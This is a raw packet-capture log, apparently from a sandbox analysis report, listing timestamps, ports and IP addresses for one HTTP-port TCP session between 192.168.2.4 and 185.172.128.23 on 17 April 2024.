Apr 17, 2024 06:57:13.866697073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.866718054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.866750002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867173910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867211103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867232084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867247105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867257118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867280006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867297888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867331982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867640972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867679119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867697954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867714882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867719889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867748022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.867765903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867794991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.867964983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868022919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868041992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868078947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868097067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868119001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868134022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868180037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868325949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868362904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868382931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868397951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868407011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868431091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868451118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868484974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868588924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868635893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868643999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868673086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868685007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868705988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.868724108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.868752956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869046926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869085073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869105101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869121075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869127035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869153023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869172096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869205952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869379997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869416952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869436026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869453907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869458914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869487047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869504929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869533062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869878054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869920969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.869937897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869962931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.869998932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.870032072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.870050907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.870074034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.912019014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.912035942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.912045956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.912055016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.912225008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.912225008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923084021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923096895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923110962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923137903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923156023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923187971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923274994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923286915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923300028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923311949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923319101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923348904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923378944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923733950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923746109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923758030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923768997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.923789024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923789978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.923820019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924135923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924149990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924160957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924173117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924189091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924220085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924220085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924498081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924510002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924521923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924534082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.924546957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924577951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.924577951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.925868988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.925889969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.925900936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.925920010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.925920963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.925932884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.925946951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.925946951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.925976038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926007986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926021099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926032066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926049948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926060915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926068068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926103115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926136971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926150084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926161051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926187992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926187992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926235914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926280022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926294088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926306009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926316977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926337004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926367998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926717043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926764965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926798105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926810026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926820040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.926842928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.926872015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927351952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927370071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927403927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927412987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927423000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927424908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927462101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927462101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927895069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927907944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927920103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927931070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.927944899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927974939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.927974939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928272009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928283930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928294897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928309917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928319931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928354979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928354979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928420067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928463936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928476095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928495884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928507090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.928527117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928527117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.928559065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.969650984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.969680071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.969691038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.969703913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.969880104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.969881058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.987817049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988007069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988164902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988178015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988189936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988200903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988214016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988226891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988226891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988239050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988251925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988260031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988281012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988291025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988300085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988303900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988316059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988325119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988329887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988358974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988359928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988373041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988378048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988385916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988396883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988399029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988410950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988415003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988424063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988431931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988436937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988450050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988456964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988464117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988476038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988488913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988501072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988502026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988501072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988516092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988522053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988528013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988540888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988540888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988559008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988563061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988571882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988579988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988584995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988599062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988609076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988611937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988624096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988626003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988636017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988648891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988662004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988662958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988675117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988683939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988688946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988702059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988703012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988714933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988722086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988728046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988738060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988739967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988753080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988766909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.988765955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988785982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.988802910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.027739048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027755976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027767897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027795076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027865887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027887106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027899027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027911901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.027997017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.027997017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.027997017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.027997017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.027997017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.045908928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.045933008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.045958996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.045969963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046111107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046111107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046179056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046191931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046202898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046214104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046248913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046283960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046505928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046541929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046555042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046578884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046581030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046595097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046627045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046657085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046786070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046833992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046884060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046896935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046909094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.046935081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.046966076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047108889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047149897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047157049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047187090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047202110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047214031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047245026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047272921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047507048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047518969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047547102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047555923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047559023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047593117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047621965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047924042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047936916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047967911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047974110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047981024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.047998905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.047998905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048027992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048310995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048333883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048346043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048357964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048363924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048394918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048394918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048532009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048580885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048628092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048645973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048656940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048683882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048685074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048834085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048882961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.048973083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048985004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.048995972 CEST	80	49730	185.172.128.23	192.168.2.4
